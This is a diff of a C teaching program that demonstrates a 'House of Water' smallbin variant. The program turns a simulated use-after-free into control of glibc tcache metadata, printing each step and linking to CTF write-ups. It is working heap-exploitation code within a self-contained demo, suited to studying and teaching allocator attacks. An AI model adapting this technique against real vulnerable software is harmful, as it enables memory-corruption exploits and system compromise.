33#include <assert.h>
44
55/*
6- * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache
6+ * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache
77 * metadata control primitive.
88 *
99 * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.
1010 * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.
11- * An article explaining this newer variant and its differences from the original House of Water can be found at:
11+ * An article explaining this newer variant and its differences from the original House of Water can be found at:
1212 * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md
1313 *
1414 * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,
@@ -52,7 +52,7 @@ int main(void) {
5252
5353 // Step 1: Create the unsorted bins linked list, used for hijacking at a later time
5454
55- puts ("Now, allocate three 0x90 chunks with guard chunks in between. This prevents" );
55+ puts ("Now, allocate three 0x90 chunks with guard chunks in between. This prevents" );
5656 puts ("chunk-consolidation and sets our target for the house of water attack." );
5757 puts ("\t- chunks:" );
5858
@@ -98,7 +98,7 @@ int main(void) {
9898 puts ("" );
9999
100100 // Free t-cache entries
101- puts ("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them." );
101+ puts ("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them." );
102102 puts ("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin" );
103103 puts ("instead of the t-cache or small-bins." );
104104 for (int i = 0 ; i < 7 ; i ++ ) {
@@ -113,20 +113,19 @@ int main(void) {
113113 puts ("\n" );
114114
115115 // Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.
116- // By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
116+ // By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
117117
118118 puts ("Here comes the trickiest part!\n" );
119119
120- puts ("We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\n"
121- "pointer and a pointer in the 0x330 t-cache to act as a BCK pointer." );
122- puts ("We want it such that it points to the chunk header of our small bin entries,\n"
123- "and not at the chunk itself which is common for t-cache.\n" );
120+ puts ("We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\n" );
121+ puts ( "pointer and a pointer in the 0x330 t-cache to act as a BCK pointer." );
122+ puts ("We want it such that it points to the chunk header of our small bin entries,\n" );
123+ puts ( "and not at the chunk itself which is common for t-cache.\n" );
124124
125- puts ("Using a technique like house of botcake or a stronger arb-free primitive, free a" );
125+ puts ("Using a technique like house of botcake or a stronger arb-free primitive, free a" );
126126 puts ("chunk such that it overlaps with the header of unsorted_start and unsorted_end." );
127127 puts ("" );
128128
129-
130129 puts ("It should look like the following:" );
131130 puts ("" );
132131
@@ -138,13 +137,13 @@ int main(void) {
138137 puts ("small_end:" );
139138 printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x320][0/1], unsortedbin[all][2]\n" , (unsigned long )(small_end - 0x10 ), * (long * )(small_end - 0x10 ), * (long * )(small_end - 0x8 ));
140139 dump_memory (small_end , 2 );
141-
140+
142141 puts ("\n" );
143142 puts ("If you want to see a blind example using only double free, see the following chal: " );
144143 puts ("https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki" );
145- puts ("" );
146- puts ("Note: See this if you want to see the same example but with the modified House of Water version: " );
147- puts ("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md" );
144+ puts ("" );
145+ puts ("Note: See this if you want to see the same example but with the modified House of Water version: " );
146+ puts ("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md" );
148147 puts ("\n" );
149148
150149 puts ("For the sake of simplicity, let's just simulate an arbitrary free primitive." );
@@ -159,7 +158,7 @@ int main(void) {
159158 // Step 3 part 1:
160159 puts ("Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache." );
161160 printf ("\t*%p-0x18 = 0x331\n" , small_start );
162- * (long * )(small_start - 0x18 ) = 0x331 ;
161+ * (long * )(small_start - 0x18 ) = 0x331 ;
163162 puts ("" );
164163
165164 puts ("This creates a 0x331 entry just above small_start, which looks like the following:" );
@@ -173,7 +172,7 @@ int main(void) {
173172 puts ("Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to" );
174173 puts ("restore the original header of the small_start chunk by restoring the 0x91 header:" );
175174 printf ("\t*%p-0x8 = 0x91\n" , small_start );
176- * (long * )(small_start - 0x8 ) = 0x91 ;
175+ * (long * )(small_start - 0x8 ) = 0x91 ;
177176 puts ("" );
178177
179178 puts ("Now, let's do the same for small_end except using a 0x321 faked chunk." );
@@ -188,7 +187,7 @@ int main(void) {
188187 // Step 3 part 2:
189188 puts ("Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:" );
190189 printf ("\t*%p-0x18 = 0x321\n" , small_end );
191- * (long * )(small_end - 0x18 ) = 0x321 ;
190+ * (long * )(small_end - 0x18 ) = 0x321 ;
192191 puts ("" );
193192
194193 puts ("This creates a 0x321 just above small_end, which looks like the following:" );
@@ -201,7 +200,7 @@ int main(void) {
201200
202201 puts ("restore the original header of the small_end chunk by restoring the 0x91 header:" );
203202 printf ("\t*%p-0x8 = 0x91\n" , small_end );
204- * (long * )(small_end - 0x8 ) = 0x91 ;
203+ * (long * )(small_end - 0x8 ) = 0x91 ;
205204 puts ("" );
206205
207206
@@ -212,7 +211,7 @@ int main(void) {
212211 puts ("\n" );
213212
214213 // Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,
215- // then allocate large chunk that will sort the unsorted bin into small bins.
214+ // then allocate large chunk that will sort the unsorted bin into small bins.
216215
217216 puts ("Now, let's free the the chunks into the unsorted bin." );
218217
@@ -227,10 +226,10 @@ int main(void) {
227226
228227 puts ("\n" );
229228
230- puts ("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin." );
231- _ = malloc (0x700 );
229+ puts ("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin." );
230+ _ = malloc (0x700 );
232231
233- puts ("" );
232+ puts ("" );
234233
235234 // Show the setup as is
236235
@@ -266,16 +265,16 @@ int main(void) {
266265 puts ("" );
267266
268267 // Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;
269- // As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.
270-
268+ // As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.
269+
271270 /* VULNERABILITY */
272271 printf ("\t- small_start:\n" );
273- printf ("\t\t*%p = %p\n" , small_start , metadata + 0x200 );
272+ printf ("\t\t*%p = %p\n" , small_start , metadata + 0x200 );
274273 * (unsigned long * )small_start = (unsigned long )(metadata + 0x200 );
275274 puts ("" );
276275
277276 printf ("\t- small_end:\n" );
278- printf ("\t\t*%p = %p\n" , small_end , metadata + 0x200 );
277+ printf ("\t\t*%p = %p\n" , small_end , metadata + 0x200 );
279278 * (unsigned long * )(small_end + 0x8 ) = (unsigned long )(metadata + 0x200 );
280279 puts ("" );
281280 /* VULNERABILITY */
@@ -297,22 +296,22 @@ int main(void) {
297296 // Step 6: allocate to win
298297 puts ("Now, simply just allocate our fake chunk which is placed inside the small bin" );
299298 puts ("But first, we need to clean the t-cache for 0x90 size class to force malloc to" );
300- puts ("service the allocation from the small bin." );
299+ puts ("service the allocation from the small bin." );
301300
302- for (int i = 7 ; i > 0 ; i -- )
303- _ = malloc (0x88 );
301+ for (int i = 7 ; i > 0 ; i -- )
302+ _ = malloc (0x88 );
304303
305- // Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin
306- _ = malloc (0x88 );
307- _ = malloc (0x88 );
304+ // Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin
305+ _ = malloc (0x88 );
306+ _ = malloc (0x88 );
308307
309308
310- // Next allocation *could* be our faked chunk!
309+ // Next allocation *could* be our faked chunk!
311310 void * meta_chunk = malloc (0x88 );
312-
311+
313312 printf ("\t\tNew chunk\t @ %p\n" , meta_chunk );
314313 printf ("\t\tt-cache metadata @ %p\n" , metadata );
315- assert (meta_chunk == (metadata + 0x210 ));
314+ assert (meta_chunk == (metadata + 0x210 ));
316315
317- puts ("" );
316+ puts ("" );
318317}
0 commit comments